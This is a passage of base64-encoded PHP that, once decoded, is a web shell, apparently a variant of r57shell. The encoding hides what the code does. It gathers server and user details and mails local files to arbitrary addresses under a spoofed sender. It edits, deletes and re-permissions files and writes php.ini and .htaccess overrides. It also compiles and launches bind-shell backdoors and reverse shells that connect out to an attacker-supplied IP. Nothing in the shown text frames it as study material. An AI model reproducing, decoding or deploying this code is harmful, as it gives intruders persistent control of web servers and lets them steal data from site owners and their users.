4iP2NwdSB0aXRsZT1cIiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDUwJ10uIlwiPjxiPmNwdTwvYj48L2E+ICIuJHJiOw0KIGVjaG8gd3MoMikuJGxiLiIgPGEgaHJlZj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI/bWVtIHRpdGxlPVwiIi4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NTEnXS4iXCI+PGI+bWVtPC9iPjwvYT4gIi4kcmI7DQogZWNobyB3cygyKS4kbGIuIiA8YSBocmVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj91c2VycyB0aXRsZT1cIiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDk1J10uIlwiPjxiPnVzZXJzPC9iPjwvYT4gIi4kcmI7DQogfQ0KZWNobyB3cygyKS4kbGIuIiA8YSBocmVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj90bXAgdGl0bGU9XCIiLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ0OCddLiJcIj48Yj50bXA8L2I+PC9hPiAiLiRyYjsNCmVjaG8gd3MoMikuJGxiLiIgPGEgaHJlZj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI/ZGVsZXRlIHRpdGxlPVwiIi4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NDknXS4iXCI+PGI+ZGVsZXRlPC9iPjwvYT4gIi4kcmIuIjxicj4iOw0KZWNobyAiPC9iPiIud3MoMik7DQplY2hvICJQSFAgdmVyc2lvbjogPGI+Ii5AcGhwdmVyc2lvbigpLiI8L2I+IjsNCiRjdXJsX29uID0gQGZ1bmN0aW9uX2V4aXN0cygnY3VybF92ZXJzaW9uJyk7DQplY2hvIHdzKDIpOw0KZWNobyAiY1VSTDogPGI+Ii4oKCRjdXJsX29uKT8oIjxmb250IGNvbG9yPUdyZWVuPk9OPC9mb250PiIpOigiPGZvbnQgY29sb3I9V2hpdGU+T0ZGPC9mb250PiIpKTsNCmVjaG8gIjwvYj4iLndzKDIpOw0KZWNobyAiTXlTUUw6IDxiPiI7DQokbXlzcWxfb24gPSBAZnVuY3Rpb25fZXhpc3RzKCdteXNxbF9jb25uZWN0Jyk7DQppZigkbXlzcWxfb24pew0KZWNobyAiPGZvbnQgY29sb3I9R3JlZW4+T048L2ZvbnQ+IjsgfSBlbHNlIHsgZWNobyAiPGZvbnQgY29sb3I9V2hpdGU+T0ZGPC9mb250PiI7IH0NCmVjaG8gIjwvYj4iLndzKDIpOw0KZWNobyAiTVNTUUw6IDxiPiI7DQokbXNzcWxfb24gPSBAZnVuY3Rpb25fZXhpc3RzKCdtc3NxbF9jb25uZWN0Jyk7DQppZigkbXNzcWxfb24pe2VjaG8gIjxmb250IGNvbG9yPUdyZWVuPk9OPC9mb250PiI7fWVsc2V7ZWNobyAiPGZvbnQgY29sb3I9V2hpdGU+T0ZGPC9mb250PiI7fQ0KZWNobyAiPC9iPiIud3MoMik7DQplY2hvICJQb3N0Z3JlU1FMOiA8Yj4iOw0KJHBnX29uID0gQGZ1bmN0aW9uX2V4aXN0cygncGdfY29ubmVjdCcpOw0KaWYoJHBnX29uKXtlY2hvICI8Zm9udCBjb2xvcj1HcmVlbj5PTjwvZm9udD4iO31lbHNle2VjaG8gIjxmb250IGNvbG9yPVdoaXRlPk9GRjwvZm9udD4iO30NCmVjaG8gIjwvYj4iLndzKDIpOw0KZWNobyAiT3JhY2xlOiA8Yj4iOw0KJG9yYV9vbiA9IEBmdW5jdGlvbl9leGlzdHMoJ29jaWxvZ29uJyk7DQppZigkb3JhX29uKXtlY2hvICI8Zm9udCBjb2xvcj1HcmVlbj5PTjwvZm9udD4iO31lbHNle2VjaG8gIjxmb250IGNvbG9yPVdoaXRlPk9GRjwvZm9udD4iO30NCmVjaG8gIjwvYj48YnI+IjsNCmVjaG8gd3MoMikuIlNhZmVfbW9kZTogPGI+IjsNCmVjaG8gKCgkc2FmZV9tb2RlKT8oIjxmb250IGNvbG9yPUdyZWVuPk9OPC9mb250PiIpOigiPGZvbnQgY29sb3I9V2hpdGU+T0ZGPC9mb250PiIpKTsNCmVjaG8gIjwvYj4iLndzKDIpOw0KZWNobyAiT3Blbl9CYXNlZGlyOiA8Yj4iOw0KaWYoJG9wZW5fYmFzZWRpcikgeyBpZiAoJyc9PSgkZGY9QGluaV9nZXQoJ29wZW5fYmFzZWRpcicpKSkge2VjaG8gIjxmb250IGNvbG9yPVdoaXRlPmluaV9nZXQgZGlzYWJsZSE8L2ZvbnQ+PC9iPiI7fWVsc2Uge2VjaG8gIjxmb250IGNvbG9yPVdoaXRlPiRkZjwvZm9udD48L2I+Ijt9O30NCmVsc2Uge2VjaG8gIjxmb250IGNvbG9yPWdyZWVuPk5PTkU8L2ZvbnQ+PC9iPiI7fQ0KZWNobyB3cygyKS4iU2FmZV9FeGVjX0RpcjogPGI+IjsNCmlmKEBmdW5jdGlvbl9leGlzdHMoJ2luaV9nZXQnKSkgeyBpZiAoJyc9PSgkZGY9QGluaV9nZXQoJ3NhZmVfbW9kZV9leGVjX2RpcicpKSkge2VjaG8gIjxmb250IGNvbG9yPUdyZWVuPk5PTkU8L2ZvbnQ+PC9iPiI7fWVsc2Uge2VjaG8gIjxmb250IGNvbG9yPWdyZWVuPiRkZjwvZm9udD48L2I+Ijt9O30NCmVsc2Uge2VjaG8gIjxmb250IGNvbG9yPVdoaXRlPmluaV9nZXQgZGlzYWJsZSE8L2ZvbnQ+PC9iPiI7fQ0KZWNobyB3cygyKS4iU2FmZV9HaWQ6IDxiPiI7DQppZihAZnVuY3Rpb25fZXhpc3RzKCdpbmlfZ2V0JykpIHsgaWYgKEBpbmlfZ2V0KCdzYWZlX21vZGVfZ2lkJykpIHtlY2hvICI8Zm9udCBjb2xvcj1ncmVlbj5PTjwvZm9udD48L2I+Ijt9ZWxzZSB7ZWNobyAiPGZvbnQgY29sb3I9V2hpdGU+T0ZGPC9mb250PjwvYj4iO307fQ0KZWxzZSB7ZWNobyAiPGZvbnQgY29sb3I9V2hpdGU+aW5pX2dldCBkaXNhYmxlITwvZm9udD48L2I+Ijt9DQplY2hvIHdzKDIpLiJTYWZlX0luY2x1ZGVfRGlyOiA8Yj4iOw0KaWYoQGZ1bmN0aW9uX2V4aXN0cygnaW5pX2dldCcpKSB7IGlmICgnJz09KCRkZj1AaW5pX2dldCgnc2FmZV9tb2RlX2luY2x1ZGVfZGlyJykpKSB7ZWNobyAiPGZvbnQgY29sb3I9R3JlZW4+Tk9ORTwvZm9udD48L2I+Ijt9ZWxzZSB7ZWNobyAiPGZvbnQgY29sb3I9Z3JlZW4+JGRmPC9mb250PjwvYj4iO307fQ0KZWxzZSB7ZWNobyAiPGZvbnQgY29sb3I9V2hpdGU+aW5pX2dldCBkaXNhYmxlITwvZm9udD48L2I+Ijt9DQplY2hvIHdzKDIpLiJTcWwuc2FmZV9tb2RlOiA8Yj4iOw0KaWYoQGZ1bmN0aW9uX2V4aXN0cygnaW5pX2dldCcpKSB7IGlmIChAaW5pX2dldCgnc3FsLnNhZmVfbW9kZScpKSB7ZWNobyAiPGZvbnQgY29sb3I9R3JlZW4+T048L2ZvbnQ+PC9iPiI7fWVsc2Uge2VjaG8gIjxmb250IGNvbG9yPVdoaXRlPk9GRjwvZm9udD48L2I+Ijt9O30NCmVsc2Uge2VjaG8gIjxmb250IGNvbG9yPVdoaXRlPmluaV9nZXQgZGlzYWJsZSE8L2ZvbnQ+PC9iPiI7fQ0KZWNobyAiPC9iPjxicj4iLndzKDIpOw0KZWNobyAiRGlzYWJsZSBmdW5jdGlvbnMgOiA8Yj4iOw0KaWYoJyc9PSgkZGY9QGluaV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJykpKXtlY2hvICI8Zm9udCBjb2xvcj1XaGl0ZT5OT05FPC9mb250PjwvYj4iO31lbHNle2VjaG8gIjxmb250IGNvbG9yPVdoaXRlPiRkZjwvZm9udD48L2I+Ijt9DQokZnJlZSA9IEBkaXNrZnJlZXNwYWNlKCRkaXIpOw0KaWYgKCEkZnJlZSkgeyRmcmVlID0gMDt9DQokYWxsID0gQGRpc2tfdG90YWxfc3BhY2UoJGRpcik7DQppZigkdXN0X3Upe2VjaG8gIjxicj4iLndzKDIpLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMzcnXS4iOiA8Zm9udCBjb2xvcj1ibHVlPiIuJHVzdF91LiI8L2ZvbnQ+Ijt9Ow0KDQppZigkdXN0X2Qpe2VjaG8gIjxicj4iLndzKDIpLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMzgnXS4iOiA8Zm9udCBjb2xvcj1yZWQ+Ii4kdXN0X2QuIjwvZm9udD4iO307DQoNCmlmKCRkb3dubG9hZGVyKXtlY2hvICI8YnI+Ii53cygyKS4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTQyJ10uIjogPGZvbnQgY29sb3I9Ymx1ZT4iLiRkb3dubG9hZGVyLiI8L2ZvbnQ+Ijt9Ow0KaWYgKCEkYWxsKSB7JGFsbCA9IDA7fQ0KZWNobyAiPGJyPiIud3MoMikuIkZyZWUgc3BhY2UgOiA8Yj4iLnZpZXdfc2l6ZSgkZnJlZSkuIjwvYj4gVG90YWwgc3BhY2U6IDxiPiIudmlld19zaXplKCRhbGwpLiI8L2I+IjsNCmVjaG8gJzwvZm9udD48L3RkPjwvdHI+PHRhYmxlPg0KPHRhYmxlIHdpZHRoPTEwMCUgY2VsbHBhZGRpbmc9MCBjZWxsc3BhY2luZz0wIGJnY29sb3I9V2hpdGU+DQo8dHI+PHRkIGNsYXNzPW1haW4gYWxpZ249cmlnaHQgd2lkdGg9MTAwPic7DQplY2hvICRmb250Ow0KaWYoJHVuaXgpew0KZWNobyAnPGZvbnQgY29sb3I9V2hpdGU+PGI+dW5hbWUgLWEgOicud3MoMSkuJzxicj5zeXNjdGwgOicud3MoMSkuJzxicj4kT1NUWVBFIDonLndzKDEpLic8YnI+U2VydmVyIDonLndzKDEpLic8YnI+aWQgOicud3MoMSkuJzxicj5wd2QgOicud3MoMSkuJzwvYj48L2ZvbnQ+PGJyPic7DQplY2hvICc8L3RkPjx0ZCAgY2xhc3M9bWFpbj4nOw0KZWNobyAiPGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTIgY29sb3I9V2hpdGU+PGI+IjsNCmVjaG8oKCFlbXB0eSgkdW5hbWUpKT8od3MoMykuQHN1YnN0cigkdW5hbWUsMCwxMjApLiI8YnI+Iik6KHdzKDMpLkBzdWJzdHIoQHBocF91bmFtZSgpLDAsMTIwKS4iPGJyPiIpKTsNCmVjaG8gd3MoMykuJHN5c2N0bC4iPGJyPiI7DQplY2hvIHdzKDMpLmV4KCdlY2hvICRPU1RZUEUnKS4iPGJyPiI7DQplY2hvIHdzKDMpLkBzdWJzdHIoJFNFUlZFUl9TT0ZUV0FSRSwwLDEyMCkuIjxicj4iOw0KaWYoIWVtcHR5KCRpZCkpIHsgZWNobyB3cygzKS4kaWQuIjxicj4iOyB9DQplbHNlIGlmKGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0ZXVpZCcpICYmIGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0ZWdpZCcpICYmIGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0Z3JnaWQnKSAmJiBmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldHB3dWlkJykpDQogew0KICRldXNlcmluZm8gID0gQHBvc2l4X2dldHB3dWlkKEBwb3NpeF9nZXRldWlkKCkpOw0KICRlZ3JvdXBpbmZvID0gQHBvc2l4X2dldGdyZ2lkKEBwb3NpeF9nZXRlZ2lkKCkpOw0KIGVjaG8gd3MoMykuJ3VpZD0nLiRldXNlcmluZm9bJ3VpZCddLicgKCAnLiRldXNlcmluZm9bJ25hbWUnXS4nICkgZ2lkPScuJGVncm91cGluZm9bJ2dpZCddLicgKCAnLiRlZ3JvdXBpbmZvWyduYW1lJ10uJyApPGJyPic7DQogfQ0KZWxzZSBlY2hvIHdzKDMpLiJ1c2VyPSIuQGdldF9jdXJyZW50X3VzZXIoKS4iIHVpZD0iLkBnZXRteXVpZCgpLiIgZ2lkPSIuQGdldG15Z2lkKCkuIjxicj4iOw0KZWNobyB3cygzKS4kZGlyOw0KZWNobyB3cygzKS4nKCAnLnBlcm1zKEBmaWxlcGVybXMoJGRpcikpLicgKSc7DQplY2hvICI8L2I+PC9mb250PiI7DQp9DQplbHNlDQp7DQplY2hvICc8Zm9udCBjb2xvcj1XaGl0ZT48Yj5PUyA6Jy53cygxKS4nPGJyPlNlcnZlciA6Jy53cygxKS4nPGJyPlVzZXIgOicud3MoMSkuJzxicj5wd2QgOicud3MoMSkuJzwvYj48L2ZvbnQ+PGJyPic7DQplY2hvICc8L3RkPjx0ZCBjbGFzcz1tYWluPic7DQplY2hvICI8Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMiBjb2xvcj1XaGl0ZT48Yj4iOw0KZWNobyB3cygzKS5Ac3Vic3RyKEBwaHBfdW5hbWUoKSwwLDEyMCkuIjxicj4iOw0KZWNobyB3cygzKS5Ac3Vic3RyKCRTRVJWRVJfU09GVFdBUkUsMCwxMjApLiI8YnI+IjsNCmVjaG8gd3MoMykuQGdldGVudigiVVNFUk5BTUUiKS4iPGJyPiI7DQoNCmVjaG8gd3MoMykuJGRpcjsNCmVjaG8gIjxicj48L2ZvbnQ+IjsNCn0NCmVjaG8gIjwvZm9udD4iOw0KZWNobyAiPC90ZD48L3RyPjwvdGFibGU+IjsNCiRmID0gJzxicj4nOw0KaWYoIWVtcHR5KCRfUE9TVFsnY21kJ10pICYmICRfUE9TVFsnY21kJ109PSJtYWlsIikNCiB7DQogJHJlcyA9IG1haWwoJF9QT1NUWyd0byddLCRfUE9TVFsnc3ViaiddLCRfUE9TVFsndGV4dCddLCJGcm9tOiAiLiRfUE9TVFsnZnJvbSddLiJcclxuIik7DQogZXJyKDYrJHJlcyk7DQogJF9QT1NUWydjbWQnXT0iIjsNCiB9DQppZighZW1wdHkoJF9QT1NUWydjbWQnXSkgJiYgJF9QT1NUWydjbWQnXT09Im1haWxfZmlsZSIgJiYgIWVtcHR5KCRfUE9TVFsnbG9jX2ZpbGUnXSkpDQogew0KIGlmKCEkZmlsZT1AZm9wZW4oJF9QT1NUWydsb2NfZmlsZSddLCJyIikpIHsgZXJyKDEsJF9QT1NUWydsb2NfZmlsZSddKTsgJF9QT1NUWydjbWQnXT0iIjsgfQ0KIGVsc2UNCiAgew0KICAgICRmaWxlbmFtZSA9IEBiYXNlbmFtZSgkX1BPU1RbJ2xvY19maWxlJ10pOw0KICAgICRmaWxlZHVtcCA9IEBmcmVhZCgkZmlsZSxAZmlsZXNpemUoJF9QT1NUWydsb2NfZmlsZSddKSk7DQogICAgZmNsb3NlKCRmaWxlKTsNCiAgICAkY29udGVudF9lbmNvZGluZz0kbWltZV90eXBlPScnOw0KICAgIGNvbXByZXNzKCRmaWxlbmFtZSwkZmlsZWR1bXAsJF9QT1NUWydjb21wcmVzcyddKTsNCiAgICAkYXR0YWNoID0gYXJyYXkoDQogICAgICAgICAgICAgICAgICAgICJuYW1lIj0+JGZpbGVuYW1lLA0KICAgICAgICAgICAgICAgICAgICAidHlwZSI9PiRtaW1lX3R5cGUsDQogICAgICAgICAgICAgICAgICAgICJjb250ZW50Ij0+JGZpbGVkdW1wDQogICAgICAgICAgICAgICAgICAgKTsNCiAgICBpZihlbXB0eSgkX1BPU1RbJ3N1YmonXSkpIHsgJF9QT1NUWydzdWJqJ10gPSAnZmlsZSBmcm9tIHI1N3NoZWxsJzsgfQ0KICAgIGlmKGVtcHR5KCRfUE9TVFsnZnJvbSddKSkgeyAkX1BPU1RbJ2Zyb20nXSA9ICdiaWxseUBtaWNyb3NvZnQuY29tJzsgfQ0KICAgICRyZXMgPSBtYWlsYXR0YWNoKCRfUE9TVFsndG8nXSwkX1BPU1RbJ2Zyb20nXSwkX1BPU1RbJ3N1YmonXSwkYXR0YWNoKTsNCiAgICBlcnIoNiskcmVzKTsNCiAgICAkX1BPU1RbJ2NtZCddPSIiOw0KICB9DQogfQ0KaWYoIWVtcHR5KCRfUE9TVFsnY21kJ10pICYmICRfUE9TVFsnY21kJ10gPT0gImZpbmRfdGV4dCIpDQp7DQokX1BPU1RbJ2NtZCddID0gJ2ZpbmQgJy4kX1BPU1RbJ3NfZGlyJ10uJyAtbmFtZSBcJycuJF9QT1NUWydzX21hc2snXS4nXCcgfCB4YXJncyBncmVwIC1FIFwnJy4kX1BPU1RbJ3NfdGV4dCddLidcJyc7DQp9DQppZighZW1wdHkoJF9QT1NUWydjbWQnXSkgJiYgJF9QT1NUWydjbWQnXT09ImNoXyIpDQogew0KIHN3aXRjaCgkX1BPU1RbJ3doYXQnXSkNCiAgIHsNCiAgIGNhc2UgJ293bic6DQogICBAY2hvd24oJF9QT1NUWydwYXJhbTEnXSwkX1BPU1RbJ3BhcmFtMiddKTsNCiAgIGJyZWFrOw0KICAgY2FzZSAnZ3JwJzoNCiAgIEBjaGdycCgkX1BPU1RbJ3BhcmFtMSddLCRfUE9TVFsncGFyYW0yJ10pOw0KICAgYnJlYWs7DQogICBjYXNlICdtb2QnOg0KICAgQGNobW9kKCRfUE9TVFsncGFyYW0xJ10saW50dmFsKCRfUE9TVFsncGFyYW0yJ10sIDgpKTsNCiAgIGJyZWFrOw0KICAgfQ0KICRfUE9TVFsnY21kJ109IiI7DQogfQ0KaWYoIWVtcHR5KCRfUE9TVFsnY21kJ10pICYmICRfUE9TVFsnY21kJ109PSJtayIpDQogew0KICAgc3dpdGNoKCRfUE9TVFsnd2hhdCddKQ0KICAgew0KICAgICBjYXNlICdmaWxlJzoNCiAgICAgIGlmKCRfUE9TVFsnYWN0aW9uJ10gPT0gImNyZWF0ZSIpDQogICAgICAgew0KICAgICAgIGlmKGZpbGVfZXhpc3RzKCRfUE9TVFsnbWtfbmFtZSddKSB8fCAhJGZpbGU9QGZvcGVuKCRfUE9TVFsnbWtfbmFtZSddLCJ3IikpIHsgZXJyKDIsJF9QT1NUWydta19uYW1lJ10pOyAkX1BPU1RbJ2NtZCddPSIiOyB9DQogICAgICAgZWxzZSB7DQogICAgICAgIGZjbG9zZSgkZmlsZSk7DQogICAgICAgICRfUE9TVFsnZV9uYW1lJ10gPSAkX1BPU1RbJ21rX25hbWUnXTsNCiAgICAgICAgJF9QT1NUWydjbWQnXT0iZWRpdF9maWxlIjsNCiAgICAgICAgZWNobyAiPHRhYmxlIHdpZHRoPTEwMCUgY2VsbHBhZGRpbmc9MCBjZWxsc3BhY2luZz0wIGJnY29sb3I9V2hpdGU+PHRyPjx0ZCBjbGFzcz1tYWluIGJnY29sb3I9QmxhY2s+PGRpdiBhbGlnbj1jZW50ZXI+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NjEnXS4iPC9iPjwvZm9udD48L2Rpdj48L3RkPjwvdHI+PC90YWJsZT4iOw0KICAgICAgICB9DQogICAgICAgfQ0KICAgICAgIGVsc2UgaWYoJF9QT1NUWydhY3Rpb24nXSA9PSAiZGVsZXRlIikNCiAgICAgICB7DQogICAgICAgaWYodW5saW5rKCRfUE9TVFsnbWtfbmFtZSddKSkgZWNobyAiPHRhYmxlIHdpZHRoPTEwMCUgY2VsbHBhZGRpbmc9MCBjZWxsc3BhY2luZz0wIGJnY29sb3I9V2hpdGU+PHRyPjx0ZCBjbGFzcz1tYWluIGJnY29sb3I9QmxhY2s+PGRpdiBhbGlnbj1jZW50ZXI+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NjMnXS4iPC9iPjwvZm9udD48L2Rpdj48L3RkPjwvdHI+PC90YWJsZT4iOw0KICAgICAgICRfUE9TVFsnY21kJ109IiI7DQogICAgICAgfQ0KICAgICBicmVhazsNCiAgICAgY2FzZSAnZGlyJzoNCiAgICAgIGlmKCRfUE9TVFsnYWN0aW9uJ10gPT0gImNyZWF0ZSIpew0KICAgICAgaWYobWtkaXIoJF9QT1NUWydta19uYW1lJ10pKQ0KICAgICAgIHsNCiAgICAgICAgICRfUE9TVFsnY21kJ109IiI7DQogICAgICAgICBlY2hvICI8dGFibGUgd2lkdGg9MTAwJSBjZWxscGFkZGluZz0wIGNlbGxzcGFjaW5nPTAgYmdjb2xvcj1XaGl0ZT48dHI+PHRkIGNsYXNzPW1haW4gYmdjb2xvcj1CbGFjaz48ZGl2IGFsaWduPWNlbnRlcj48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ2MiddLiI8L2I+PC9mb250PjwvZGl2PjwvdGQ+PC90cj48L3RhYmxlPiI7DQogICAgICAgfQ0KICAgICAgZWxzZSB7IGVycigyLCRfUE9TVFsnbWtfbmFtZSddKTsgJF9QT1NUWydjbWQnXT0iIjsgfQ0KICAgICAgfQ0KICAgICAgZWxzZSBpZigkX1BPU1RbJ2FjdGlvbiddID09ICJkZWxldGUiKXsNCiAgICAgIGlmKHJtZGlyKCRfUE9TVFsnbWtfbmFtZSddKSkgZWNobyAiPHRhYmxlIHdpZHRoPTEwMCUgY2VsbHBhZGRpbmc9MCBjZWxsc3BhY2luZz0wIGJnY29sb3I9V2hpdGU+PHRyPjx0ZCBjbGFzcz1tYWluIGJnY29sb3I9QmxhY2s+PGRpdiBhbGlnbj1jZW50ZXI+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NjQnXS4iPC9iPjwvZm9udD48L2Rpdj48L3RkPjwvdHI+PC90YWJsZT4iOw0KICAgICAgJF9QT1NUWydjbWQnXT0iIjsNCiAgICAgIH0NCiAgICAgYnJlYWs7DQogICB9DQogfQ0KaWYoIWVtcHR5KCRfUE9TVFsnY21kJ10pICYmICRfUE9TVFsnY21kJ109PSJlZGl0X2ZpbGUiICYmICFlbXB0eSgkX1BPU1RbJ2VfbmFtZSddKSkNCiB7DQogaWYoISRmaWxlPUBmb3BlbigkX1BPU1RbJ2VfbmFtZSddLCJyKyIpKSB7ICRvbmx5X3JlYWQgPSAxOyBAZmNsb3NlKCRmaWxlKTsgfQ0KIGlmKCEkZmlsZT1AZm9wZW4oJF9QT1NUWydlX25hbWUnXSwiciIpKSB7IGVycigxLCRfUE9TVFsnZV9uYW1lJ10pOyAkX1BPU1RbJ2NtZCddPSIiOyB9DQogZWxzZSB7DQogZWNobyAkdGFibGVfdXAzOw0KIGVjaG8gJGZvbnQ7DQogZWNobyAiPGZvcm0gbmFtZT1zYXZlX2ZpbGUgbWV0aG9kPXBvc3Q+IjsNCiBlY2hvIHdzKDMpLiI8Yj4iLiRfUE9TVFsnZV9uYW1lJ10uIjwvYj4iOw0KIGVjaG8gIjxkaXYgYWxpZ249Y2VudGVyPjx0ZXh0YXJlYSBuYW1lPWVfdGV4dCBjb2xzPTEyMSByb3dzPTI0PiI7DQogZWNobyBAaHRtbHNwZWNpYWxjaGFycyhAZnJlYWQoJGZpbGUsQGZpbGVzaXplKCRfUE9TVFsnZV9uYW1lJ10pKSk7DQogZmNsb3NlKCRmaWxlKTsNCiBlY2hvICI8L3RleHRhcmVhPiI7DQogZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZV9uYW1lIHZhbHVlPSIuJF9QT1NUWydlX25hbWUnXS4iPiI7DQogZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZGlyIHZhbHVlPSIuJGRpci4iPiI7DQogZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9Y21kIHZhbHVlPXNhdmVfZmlsZT4iOw0KIGVjaG8gKCFlbXB0eSgkb25seV9yZWFkKT8oIjxicj48YnI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NDQnXSk6KCI8YnI+PGJyPjxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPXN1Ym1pdCB2YWx1ZT1cIiAiLiRsYW5nWyRsYW5ndWFnZS4nX2J1dHQxMCddLiIgXCI+IikpOw0KIGVjaG8gIjwvZGl2PiI7DQogZWNobyAiPC9mb250PiI7DQogZWNobyAiPC9mb3JtPiI7DQogZWNobyAiPC90ZD48L3RyPjwvdGFibGU+IjsNCiBleGl0KCk7DQogfQ0KIH0NCmlmKCFlbXB0eSgkX1BPU1RbJ2NtZCddKSAmJiAkX1BPU1RbJ2NtZCddPT0ic2F2ZV9maWxlIikNCiB7DQogJG10aW1lID0gQGZpbGVtdGltZSgkX1BPU1RbJ2VfbmFtZSddKTsNCiBpZighJGZpbGU9QGZvcGVuKCRfUE9TVFsnZV9uYW1lJ10sInciKSkgeyBlcnIoMCwkX1BPU1RbJ2VfbmFtZSddKTsgfQ0KIGVsc2Ugew0KIGlmKCR1bml4KSAkX1BPU1RbJ2VfdGV4dCddPUBzdHJfcmVwbGFjZSgiXHJcbiIsIlxuIiwkX1BPU1RbJ2VfdGV4dCddKTsNCiBAZndyaXRlKCRmaWxlLCRfUE9TVFsnZV90ZXh0J10pOw0KIEB0b3VjaCgkX1BPU1RbJ2VfbmFtZSddLCRtdGltZSwkbXRpbWUpOw0KICRfUE9TVFsnY21kJ109IiI7DQogZWNobyAiPHRhYmxlIHdpZHRoPTEwMCUgY2VsbHBhZGRpbmc9MCBjZWxsc3BhY2luZz0wIGJnY29sb3I9V2hpdGU+PHRyPjx0ZCBjbGFzcz1tYWluIGJnY29sb3I9QmxhY2s+PGRpdiBhbGlnbj1jZW50ZXI+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NDUnXS4iPC9iPjwvZm9udD48L2Rpdj48L3RkPjwvdHI+PC90YWJsZT4iOw0KIH0NCiB9DQoNCmlmICghZW1wdHkoJF9QT1NUWydwb3J0J10pJiYhZW1wdHkoJF9QT1NUWydiaW5kX3Bhc3MnXSkmJigkX1BPU1RbJ3VzZSddPT0iQyIpKQ0Kew0KIGNmKCIvdG1wL2JkLmMiLCRwb3J0X2JpbmRfYmRfYyk7DQogJGJsYWggPSBleCgiZ2NjIC1vIC90bXAvYmQgL3RtcC9iZC5jIik7DQogQHVubGluaygiL3RtcC9iZC5jIik7DQogJGJsYWggPSBleCgiL3RtcC9iZCAiLiRfUE9TVFsncG9ydCddLiIgIi4kX1BPU1RbJ2JpbmRfcGFzcyddLiIgJiIpOw0KICRfUE9TVFsnY21kJ109InBzIC1hdXggfCBncmVwIGJkIjsNCn0NCmlmICghZW1wdHkoJF9QT1NUWydwaHBfaW5pMSddKSkNCnsNCiBjZigicGhwLmluaSIsJHBocF9pbmkxKTsNCiAgJF9QT1NUWydjbWQnXT0iIERhIHdyaXRlIHhvbmcgcGhwLmluaSB0aHU/IHRodT8gY29pIGRpIjsNCiB9DQoNCiBpZiAoIWVtcHR5KCRfUE9TVFsnaHRhY2NlcyddKSkNCnsNCiBjZigiLmh0YWNjZXNzIiwkaHRhY2Nlcyk7DQogICRfUE9TVFsnY21kJ109IkRhIHdyaXRlIHhvbmcgaHRhY2Nlc3MgdGh1PyB0aHU/IGNvaSBkaSAiOw0KIH0NCiAgaWYgKCFlbXB0eSgkX1BPU1RbJ2ZpbGVfaW5pJ10pKQ0Kew0KIGNmKCJpbmkucGhwIiwkc25pX3Jlcyk7DQoNCiAgJF9QT1NUWydjbWQnXT0iIGh0dHA6Ly90YXJnZXQuY29tL2luaS5waHA/c3M9aHR0cDovL3NoZWxsLnR4dD8gRGEgd3JpdGUgeG9uZyBpbmkucGhwIHRodSB4ZW0gXl4hIjsNCiB9DQppZiAoIWVtcHR5KCRfUE9TVFsncG9ydCddKSYmIWVtcHR5KCRfUE9TVFsnYmluZF9wYXNzJ10pJiYoJF9QT1NUWyd1c2UnXT09IlBlcmwiKSkNCnsNCiBjZigiL3RtcC9iZHBsIiwkcG9ydF9iaW5kX2JkX3BsKTsNCiAkcDI9d2hpY2goInBlcmwiKTsNCiAkYmxhaCA9IGV4KCRwMi4iIC90bXAvYmRwbCAiLiRfUE9TVFsncG9ydCddLiIgJiIpOw0KICRfUE9TVFsnY21kJ109InBzIC1hdXggfCBncmVwIGJkcGwiOw0KfQ0KaWYgKCFlbXB0eSgkX1BPU1RbJ2lwJ10pICYmICFlbXB0eSgkX1BPU1RbJ3BvcnQnXSkgJiYgKCRfUE9TVFsndXNlJ109PSJQZXJsIikpDQp7DQogY2YoIi90bXAvYmFjayIsJGJhY2tfY29ubmVjdCk7DQogJHAyPXdoaWNoKCJwZXJsIik7DQogJGJsYWggPSBleCgkcDIuIiAvdG1wL2JhY2sgIi4kX1BPU1RbJ2lwJ10uIiAiLiRfUE9TVFsncG9ydCddLiIgJiIpOw0KICRfUE9TVFsnY21kJ109ImVjaG8gXCJOb3cgc2NyaXB0IHRyeSBjb25uZWN0IHRvICIuJF9QT1NUWydpcCddLiIgcG9ydCAiLiRfUE9TVFsncG9ydCddLiIgLi4uXCIiOw0KfQ0KaWYgKCFlbXB0eSgkX1BPU1RbJ2lwJ10pICYmICFlbXB0eSgkX1BPU1RbJ3BvcnQnXSkgJiYgKCRfUE9TVFsndXNlJ109PSJDIikpDQp7DQogY2YoIi90bXAvYmFjay5jIiwkYmFja19jb25uZWN0X2MpOw0KICRibGFoID0gZXgoImdjYyAtbyAvdG1wL2JhY2tjIC90bXAvYmFjay5jIik7DQogQHVubGluaygiL3RtcC9iYWNrLmMiKTsNCiAkYmx